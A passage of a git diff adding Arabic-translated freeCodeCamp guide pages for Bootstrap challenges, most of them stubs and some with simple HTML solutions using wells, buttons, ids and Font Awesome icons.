+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..36de2f24d1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,41 @@
+---
+title: Add Elements within Your Bootstrap Wells
+localeTitle: إضافة عناصر داخل الآبار Bootstrap الخاص بك
+---
+## إضافة عناصر داخل الآبار Bootstrap الخاص بك
+
+في التحدي الأخير ، كنت قد أنشأت شعبة مع الطبقة جيدا ، يتطلب هذا التحدي الآن إضافة 3 عناصر زر في كل من الآبار.
+
+### ملحوظة
+
+يتم الإعلان عن زر على النحو التالي:
+
+ `
+<button></button> 
+` 
+
+### حل
+
+نظرًا لأنه يتعين علينا إعلان 3 زر في كل بئر ، سنفعل ما يلي:
+
+ `
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..77ff0c7d57
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,86 @@
+---
+title: Add Font Awesome Icons to all of our Buttons
+localeTitle: إضافة أيقونات روعة للخط إلى جميع أزرارنا
+---
+## إضافة أيقونات روعة للخط إلى جميع أزرارنا
+
+### شرح المشكلة
+
+استخدم Font Awesome لإضافة رمز `info-circle` المعلومات إلى زر المعلومات ورمز `trash` إلى زر الحذف.
+
+#### روابط ذات صلة:
+
+*   [خط رائع](https://fontawesome.com/)
+*   [يختلف بين Font Awesome v4 و v5](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4)
+
+### ملحوظة
+
+*   إن ورقة أنماط Font Awesome لهذه الصفحة هي الإصدار 4.5.0 ، لذا يجب عليك استخدام `fa` fafix بدلاً من `fas` الجديد. تحقق من [الرابط](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4) لمعرفة المزيد حول الاختلاف بين الإصدار 4 و v5 الجديد.
+*   يمكن العثور على الشعارات وفئات CSS ذات الصلة للشعارات [هنا](https://fontawesome.com/icons?d=gallery) .
+*   إن إضافة مسافة بين العلامة `<i>` والنص سيعطيها تباعدًا لطيفًا.
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+### حل:
+
+ `
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ <style> 
+  h2 { 
+    font-family: Lobster, Monospace; 
+  } 
+ 
+  .thick-green-border { 
+    border-color: green; 
+    border-width: 10px; 
+    border-style: solid; 
+    border-radius: 50%; 
+  } 
+ </style> 
+ 
+ <div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-xs-8"> 
+      <h2 class="text-primary text-center">CatPhotoApp</h2> 
+    </div> 
+    <div class="col-xs-4"> 
+      <a href="#"><img class="img-responsive thick-green-border" src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+    </div> 
+  </div> 
+  <img src="https://bit.ly/fcc-running-cats" class="img-responsive" alt="Three kittens running towards the camera."> 
+  <div class="row"> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-info"><i class="fa fa-info-circle"></i>Info</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-danger"><i class="fa fa-trash"></i>Delete</button> 
+    </div> 
+  </div> 
+  <p>Things cats <span class="text-danger">love:</span></p> 
+  <ul> 
+    <li>cat nip</li> 
+    <li>laser pointers</li> 
+    <li>lasagna</li> 
+  </ul> 
+  <p>Top 3 things cats hate:</p> 
+  <ol> 
+    <li>flea treatment</li> 
+    <li>thunder</li> 
+    <li>other cats</li> 
+  </ol> 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor"> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label> 
+    <label><input type="checkbox" name="personality"> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Crazy</label> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..084e961d66
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Font Awesome Icons to our Buttons
+localeTitle: إضافة أيقونات الخط المروّعة إلى أزرارنا
+---
+## إضافة أيقونات الخط المروّعة إلى أزرارنا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..c910f0972c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,53 @@
+---
+title: Add id Attributes to Bootstrap Elements
+localeTitle: أضف سمات المعرف إلى عناصر Bootstrap
+---
+## أضف سمات المعرف إلى عناصر Bootstrap
+
+كان التحدي الأخير هو إضافة فئة إلى عناصر الزر ، هذه المرة لديك لإضافة id (s) إلى div (s) التي تحتوي على فئة well.
+
+### تلميح 1
+
+يتم تعريف معرف على النحو التالي:
+
+ `
+<element id="id(s)List"></element> 
+` 
+
+### تلميح 2
+
+تحرير علامات div التي لديها فئة جيد
+
+### تلميح 3
+
+استخدم معرف (أرقام) مختلفة لكل من الآبار.
+
+### تلميح 4
+
+إعطاء جيدا على ترك معرف `left-well` وكذلك على حق معرف `right-well` .
+
+### حل
+
+نظرًا لأنك تحتاج إلى إضافة معرّف (معرّفات) إلى كلٍّ من الآبار ولديك كلاً من معرف فريد ، فإن ما يلي هو الحل:
+
+ `
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well" id="left-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well" id="right-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
new file mode 100644
index 0000000000..6ac674fdc0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
@@ -0,0 +1,41 @@
+---
+title: Apply the Default Bootstrap Button Style
+localeTitle: قم بتطبيق نمط زر Bootstrap الافتراضي
+---
+## قم بتطبيق نمط زر Bootstrap الافتراضي
+
+التحدي الأخير كان عليك إنشاء أزرار 6 ، 3 في كل عنصر البئر ، هذه المرة أنت مطالب لإضافة فئات إلى تلك الأزرار.
+
+### ملحوظة
+
+يتم تعريف الفئة باستخدام بناء الجملة التالي:
+
+ `
+<button class="class(es)Name"></button> 
+` 
+
+### حل
+
+نظرًا لأنك `btn` إلى إضافة فئات `btn` و `btn-default` ، فإن ما يلي هو الحل:
+
+ `
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
new file mode 100644
index 0000000000..b57e598092
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
@@ -0,0 +1,9 @@
+---
+title: Call out Optional Actions with btn-info
+localeTitle: استدعاء الإجراءات الاختيارية مع btn-info
+---
+## استدعاء الإجراءات الاختيارية مع btn-info
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
new file mode 100644
index 0000000000..911ad12798
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Center Text with Bootstrap
+localeTitle: مركز النص مع Bootstrap
+---
+## مركز النص مع Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
new file mode 100644
index 0000000000..7c4b729df4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Block Element Bootstrap Button
+localeTitle: قم بإنشاء زر Bootstrap عنصر كتلة
+---
+## قم بإنشاء زر Bootstrap عنصر كتلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
new file mode 100644
index 0000000000..7025315214
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Button
+localeTitle: إنشاء زر Bootstrap
+---
+## إنشاء زر Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
new file mode 100644
index 0000000000..d27fc87d44
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Headline
+localeTitle: قم بإنشاء عنوان Bootstrap
+---
+## قم بإنشاء عنوان Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
new file mode 100644
index 0000000000..e37406568e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Row
+localeTitle: قم بإنشاء صف Bootstrap
+---
+## قم بإنشاء صف Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
new file mode 100644
index 0000000000..bfaf0277c5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
@@ -0,0 +1,37 @@
+---
+title: Create a Class to Target with jQuery Selectors
+localeTitle: إنشاء فئة إلى الهدف باستخدام محددات jQuery
+---
+## إنشاء فئة إلى الهدف باستخدام محددات jQuery
+
+كان التحدي الأخير هو إضافة بعض الفئات إلى عناصر `html <button></button>` لإضفاء الطابع الخاص عليها ، ولكن عليك في هذه المرة إضافة فصول أخرى إلى تلك الأزرار مما يسمح لـ jQuery باستهدافها.
+
+### ملحوظة
+
+تحرير الفصول الدراسية
+
+### حل
+
+نظرًا لأنك مضطر لإضافة فئة `target` ، فإن ما يلي هو الحل:
+
+ `
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
new file mode 100644
index 0000000000..0468540ef0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Custom Heading
+localeTitle: إنشاء عنوان مخصص
+---
+## إنشاء عنوان مخصص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
new file mode 100644
index 0000000000..989230b337
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Bootstrap Wells
+localeTitle: إنشاء Bootstrap Wells
+---
+## إنشاء Bootstrap Wells
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
new file mode 100644
index 0000000000..3f9c82aeee
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditch Custom CSS for Bootstrap
+localeTitle: خندق مخصص المغلق ل Bootstrap
+---
+## خندق مخصص المغلق ل Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
new file mode 100644
index 0000000000..e6eab20fc5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Each Element a Unique id
+localeTitle: منح كل عنصر معرف فريد
+---
+## منح كل عنصر معرف فريد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
new file mode 100644
index 0000000000..6de2b457ae
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
@@ -0,0 +1,9 @@
+---
+title: House our page within a Bootstrap container-fluid div
+localeTitle: قم بتضمين صفحتنا داخل div-fluid حاوية سائل
+---
+## قم بتضمين صفحتنا داخل div-fluid حاوية سائل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/index.md
new file mode 100644
index 0000000000..7c95bff316
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/index.md
@@ -0,0 +1,22 @@
+---
+title: Bootstrap
+localeTitle: التمهيد
+---
+## التمهيد
+
+[Bootstrap](https://www.getbootstrap.com/) هي مكتبة للواجهة الأمامية توفر إطارًا أساسيًا أو مخططًا أساسيًا يمكن للمستخدم إما استخدامه أو تعديله مباشرةً ثم نشره. ينصب تركيزهم الأساسي على إنشاء إطار متوافق مع الجوال ، ولكن يعمل Bootstrap أيضًا مع أجهزة سطح المكتب أيضًا.
+
+مقتبس من موقع Bootstrap:
+
+ `Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Quickly prototype your ideas or build your entire app with our Sass variables and mixins, responsive grid system, extensive prebuilt components, and powerful plugins built on jQuery. 
+` 
+
+يجد إطار العمل قابلية للتوظيف في العديد من مشاريع الواجهة الأمامية ويعتبر نوي هو أشهر إطار عمل HTML و CSS.
+
+#### معلومات اكثر:
+
+1.  [وثائق Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
+2.  [استخدم Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/download/)
+3.  [ثيمات Bootstrap](https://themes.getbootstrap.com/)
+4.  [Bootstrap مدونة](https://blog.getbootstrap.com/)
+5.  [Bootstrap Open Source Page](https://github.com/twbs/bootstrap)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
new file mode 100644
index 0000000000..9c200a5139
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Buttons
+localeTitle: تسمية أزرار Bootstrap
+---
+## تسمية أزرار Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
new file mode 100644
index 0000000000..d436b2ead4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Wells
+localeTitle: تسمية Bootstrap ويلز
+---
+## تسمية Bootstrap ويلز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
new file mode 100644
index 0000000000..1384eb2da1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Line up Form Elements Responsively with Bootstrap
+localeTitle: يصطف عناصر النموذج بشكل مستجيب مع Bootstrap
+---
+## يصطف عناصر النموذج بشكل مستجيب مع Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
new file mode 100644
index 0000000000..686aef2b33
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Images Mobile Responsive
+localeTitle: جعل الصور موبايل متجاوب
+---
+## جعل الصور موبايل متجاوب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
new file mode 100644
index 0000000000..01d41ab30c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Checkboxes
+localeTitle: Checkbox Style Responsively
+---
+## Checkbox Style Responsively
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
new file mode 100644
index 0000000000..3572f2916b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Radio Buttons
+localeTitle: أزرار أسلوب راديو مستجيبة
+---
+## أزرار أسلوب راديو مستجيبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
new file mode 100644
index 0000000000..d752eb7301
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Bootstrap Row
+localeTitle: تقسيم صف Bootstrap الخاص بك
+---
+## تقسيم صف Bootstrap الخاص بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
new file mode 100644
index 0000000000..d2a07f2c9f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Text Inputs as Form Controls
+localeTitle: مدخلات نمط النص مثل عناصر التحكم في النموذج
+---
+## مدخلات نمط النص مثل عناصر التحكم في النموذج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
new file mode 100644
index 0000000000..59a2459397
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
@@ -0,0 +1,9 @@
+---
+title: Taste the Bootstrap Button Color Rainbow
+localeTitle: طعم زر Bootstrap لون قوس قزح
+---
+## طعم زر Bootstrap لون قوس قزح
+
